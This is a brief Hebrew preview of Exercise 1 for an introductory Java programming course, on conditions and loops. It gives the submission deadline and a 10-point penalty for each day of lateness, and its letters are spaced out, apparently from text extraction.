ת ר ג י ל 1 ב ק ו ר ס מ ב ו א לתכנות 202.1.9031 JAVA סמסטר ב, ת נ א י ם ו ל ו ל א ו ת תאריך אחרון להגשה בציון מלא : 02.04.19 עד שעה : 23:55, כ ל יום איחור ל א מ א ו ש ר א ו ח ל ק ממנו מודריד 10 נקודות
קרא עוד